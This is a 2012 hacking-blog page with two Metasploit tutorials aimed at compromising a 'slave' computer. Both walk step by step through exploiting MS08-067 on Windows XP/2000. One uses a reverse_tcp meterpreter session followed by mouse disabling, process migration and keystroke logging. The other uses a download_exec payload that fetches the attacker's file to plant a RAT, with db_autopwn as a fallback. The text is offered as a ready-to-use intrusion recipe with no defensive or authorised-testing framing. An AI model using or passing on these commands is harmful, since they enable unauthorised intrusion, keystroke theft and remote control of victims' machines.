Search This Blog

Showing posts with label Metasploit. Show all posts
Showing posts with label Metasploit. Show all posts

Saturday, June 2, 2012

Metasploit Tutorial





Installing will take a few :

The clk on the console icon get startted

m just writing the commands ,after each command a particular mssg will

be disaplyed..........



------------terms----------------------

lhost refers local host your ip address

similarly rhost refers for whom u want to hack

---------------------------------------------

Here are the commands

msf>use windows/smb/ms08_067_netapi

msf>set lhost 192.168.0.1

msf>set rhost 192.168.0.4

msf>set payload winodws/meterpretr/reverse_tcp

msf>exploit

some mssg will be displayd


meterpreter>uictl disable mouse //disaqble mouse

meterpreter>ps

list all prosses

meterpreter>migrate 1260 // i ssumed explorer.exe


//ur system may refer some else num values

meterpreter>keyscan_start

meterpreter>keyscan_dump

//display all key strokes.......

meterpreter>help //list all commands





Download from here

Add To Google BookmarksStumble ThisFav This With TechnoratiAdd To Del.icio.usDigg ThisAdd To RedditTwit ThisAdd To FacebookAdd To Yahoo

Infecting through IP





Requirements:
 

Nmap
Metasploit


First of all you need target ip of your slave.



Then open Metasploit Console & type db_create.
[Use: This’ll create or connect you to database.]



Once you do that type Nmap.
[Use: This’ll load Nmap in Metasploit Console]



Next you need to type db_nmap -sT -sV

[This’ll scan OS, Ports, and Services running on slav...e’s computer.]

Wait for 5 min’s to complete its scan.
Once done, Note down the OS, Ports, and Services running on slave’s computer.



Now it’s time to exploit slave’s machine.

Exploit depends on the OS, Ports, and Services running on slave’s computer.

So, you’re lucky if you get OS WIN XP or 2000 because it’s easy to exploit them.

No matter weather they’re protected by any firewall or not.



Now I’ll tell you exploiting:-



Windows 2000 (all versions SP1, SP2, SP3, SP4)
Windows XP (all versions SP1, SP2, SP3)



Type show exploits
[Use: This’ll show all the exploits in its database.]



Next you need to type use windows/smb/ms08_067_netapi
[Use: This’ll select the exploit windows/smb/ms08_067_netapi]



Now Type show targets
[Use: This’ll show all targets by exploit]



Now Type set target 0

[Use: This’ll set target to 0 specified]

Then type show payloads

[Use: This’ll bring up all the payloads]

Next type set payload windows/download_exec

[Use: This’ll set payload as windows/download_exec]



Then Type show options

[Use: This’ll show all options in the exploit & payload]

In window you’ll see many options, in which you need to
Fill only two options RHOST & URL.



Type set RHOST
[Use: This’ll set RHOST (slave’s ip) to xxx.xxx.xxx.xxx]



Next Type set URL [content suppressed]
[Use: This’ll set URL to your direct server link.]



At last you need to type exploit
[Use: This will launch your exploit & your slave will be infected.]



You can now control you're slave with RAT.

So, any versions of Win 2000-XP can be exploited easily.

In case if you didn’t get this two OS’, immediately after Nmap scan

You can use the command db_autopwn –p –t –e.
In most cases you get a shell.


Good Luck!


Add To Google BookmarksStumble ThisFav This With TechnoratiAdd To Del.icio.usDigg ThisAdd To RedditTwit ThisAdd To FacebookAdd To Yahoo